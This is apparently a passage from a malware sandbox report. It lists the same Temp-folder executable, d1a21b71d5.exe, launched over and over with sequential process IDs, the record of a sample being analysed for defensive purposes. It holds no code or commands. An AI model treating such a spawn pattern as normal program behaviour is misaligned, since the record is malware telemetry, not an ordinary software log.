        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11152
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11160
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11168
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11176
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11184
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11192
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11200
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11208
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11216
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11224
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11232
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11240
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11248
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11256
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11268
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11276
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11284
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11292
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11300
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11308
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11316
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11324
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11332
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11340
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11348
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11356
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11364
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11372
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11380
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11388
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11396
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11404
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11412
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11420
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11428
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11436
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11444
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11452
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11460
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11468
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11476
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11484
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11492
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11500
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11508
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11516
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11524
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11532
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11540
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11548
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11556
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11564
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11572
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11580
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11588
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11596
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11604
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11612
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11620
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11628
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11636
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11644
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11652
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11660
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11668
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11676
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11684
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11692
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11700
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11708
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11716
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11724
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11732
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11740
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11748
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11756
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11764
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11772
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11780
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11788
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11796
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11804
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11812
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11820
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11828
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11836
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11844
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11852
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11860
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11868
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11876
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11884
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11892
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11900
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11908
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11916
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11924
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11932
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11940
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11948
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11956
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11964
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11972
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11980
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11988
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:11996
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12004
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12012
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12020
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12028
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12036
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12044
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12052
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12060
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12068
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12076
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12084
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12092
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12100
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12108
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12116
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12124
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12132
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12140
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12148
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12156
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12164
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12172
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12180
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12188
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12196
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12204
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12212
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12220
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12228
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12236
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12244
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12252
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12260
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12268
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12276
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12284
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5088
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12296
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12304
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12312
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12320
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12328
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12336
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12344
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12352
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
